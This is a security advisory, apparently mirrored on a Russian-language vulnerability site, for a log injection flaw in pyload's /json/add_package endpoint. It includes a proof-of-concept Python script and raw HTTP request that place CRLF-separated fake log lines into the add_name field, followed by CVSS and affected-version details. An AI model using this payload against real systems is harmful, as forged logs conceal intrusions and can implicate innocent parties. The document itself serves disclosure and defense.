GHSA-3wwm-hjv7-23r3
GHSA-3wwm-hjv7-23r3 · Pyload log Injection via API /json/add_package in add_name parameter
Здесь приведены факты из открытых источников об уязвимостях. Перед обновлением ознакомьтесь с исходным сообщением.
### Summary A log injection vulnerability was identified in `pyload` in API `/json/add_package`. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by `pyload`. ### Details `pyload` will generate a log entry when creating new package using API `/json/add_package`. This entry will be in the form of `Added package 'NAME_OF_PACKAGE' containing 'NUMBER_OF_LINKS' links`. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file. ### PoC Run `pyload` in the default configuration by running the following command ``` pyload ``` We can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at `http://localhost:8000/logs` <img width="1918" height="912" alt="image" src="https://github.com/user-attachments/assets/e6510af6-768b-4ddd-a4f2-3972618e1d37" /> Any attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs. ``` import requests session = requests.session() burp0_url = "http://localhost:8000/json/add_package" burp0_cookies = {"pyload_session_8000": "SESSION-ID-HERE"} burp0_headers = {"sec-ch-ua-platform": "\"Windows\"", "Accept-Language": "en-US,en;q=0.9", "sec-ch-ua": "\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"", "sec-ch-ua-mobile": "?0", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf", "Origin": "http://localhost:8000", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost:8000/collector", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"} burp0_data = "------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_name\"\r\n\r\nFake new package containing 1 links\r\n[2025-07-23 04:32:19] PWNED SeaWind GET PWNED\r\n[2025-07-23 04:32:19] INFO pyload Added package Normal package\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_links\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_password\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_dest\"\r\n\r\n0\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\r\n" session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) ``` The Burpsuite HTTP Request for the above code ``` POST /json/add_package HTTP/1.1 Host: localhost:8000 Content-Length: 799 sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf Origin: http://localhost:8000 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8000/collector Accept-Encoding: gzip, deflate, br Cookie: pyload_session_8000=SESSIONS-ID-HERE Connection: keep-alive ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_name" Fake new package containing 1 links [2025-07-23 04:32:19] HACKER SeaWind GET PWNED [2025-07-23 04:32:19] INFO pyload Added package Normal package ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_links" 123 ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_password" 123 ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_file"; filename="tt" Content-Type: application/octet-stream ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_dest" 0 ------WebKitFormBoundaryqRJM6zIUcE7ttXDf-- ``` After executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected. <img width="1920" height="911" alt="image" src="https://github.com/user-attachments/assets/0e77c7ac-e5f6-4227-843a-ef548071bf02" /> ### Impact Forged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.
CVSS 4.3 · Средний
- Опубликовано
- Обновлено
Стек: python
Затронутые продукты и версии
pyload-ng PyPI
- Версии
- 0.5.0a5.dev528
- 0.5.0a5.dev532
- 0.5.0a5.dev535
- 0.5.0a5.dev536
- 0.5.0a5.dev537
- 0.5.0a5.dev539
- 0.5.0a5.dev540
- 0.5.0a5.dev545
- 0.5.0a5.dev562
- 0.5.0a5.dev564
- 0.5.0a5.dev565
- 0.5.0a6.dev570
- 0.5.0a6.dev578
- 0.5.0a6.dev587
- 0.5.0a7.dev596
- 0.5.0a8.dev602
- 0.5.0a9.dev615
- 0.5.0a9.dev629
- 0.5.0a9.dev632
- 0.5.0a9.dev641
- 0.5.0a9.dev643
- 0.5.0a9.dev655
- 0.5.0a9.dev806
- 0.5.0b1.dev1
- 0.5.0b1.dev2
- 0.5.0b1.dev3
- 0.5.0b1.dev4
- 0.5.0b1.dev5
- 0.5.0b2.dev10
- 0.5.0b2.dev11
- 0.5.0b2.dev12
- 0.5.0b2.dev9
- 0.5.0b3.dev13
- 0.5.0b3.dev14
- 0.5.0b3.dev17
- 0.5.0b3.dev18
- 0.5.0b3.dev19
- 0.5.0b3.dev20
- 0.5.0b3.dev21
- 0.5.0b3.dev22
- 0.5.0b3.dev24
- 0.5.0b3.dev26
- 0.5.0b3.dev27
- 0.5.0b3.dev28
- 0.5.0b3.dev29
- 0.5.0b3.dev30
- 0.5.0b3.dev31
- 0.5.0b3.dev32
- 0.5.0b3.dev33
- 0.5.0b3.dev34
- 0.5.0b3.dev35
- 0.5.0b3.dev38
- 0.5.0b3.dev39
- 0.5.0b3.dev40
- 0.5.0b3.dev41
- 0.5.0b3.dev42
- 0.5.0b3.dev43
- 0.5.0b3.dev44
- 0.5.0b3.dev45
- 0.5.0b3.dev46
- 0.5.0b3.dev47
- 0.5.0b3.dev48
- 0.5.0b3.dev49
- 0.5.0b3.dev50
- 0.5.0b3.dev51
- 0.5.0b3.dev52
- 0.5.0b3.dev53
- 0.5.0b3.dev54
- 0.5.0b3.dev57
- 0.5.0b3.dev60
- 0.5.0b3.dev62
- 0.5.0b3.dev64
- 0.5.0b3.dev65
- 0.5.0b3.dev66
- 0.5.0b3.dev67
- 0.5.0b3.dev68
- 0.5.0b3.dev69
- 0.5.0b3.dev70
- 0.5.0b3.dev71
- 0.5.0b3.dev72
- 0.5.0b3.dev73
- 0.5.0b3.dev74
- 0.5.0b3.dev75
- 0.5.0b3.dev76
- 0.5.0b3.dev77
- 0.5.0b3.dev78
- 0.5.0b3.dev79
- 0.5.0b3.dev80
- 0.5.0b3.dev81
- 0.5.0b3.dev82
- 0.5.0b3.dev85
- 0.5.0b3.dev87
- 0.5.0b3.dev88
- 0.5.0b3.dev89
- Затронутые диапазоны версий
- ECOSYSTEM: ≤ 0.5.0b3.dev89
Нет опубликованного исправления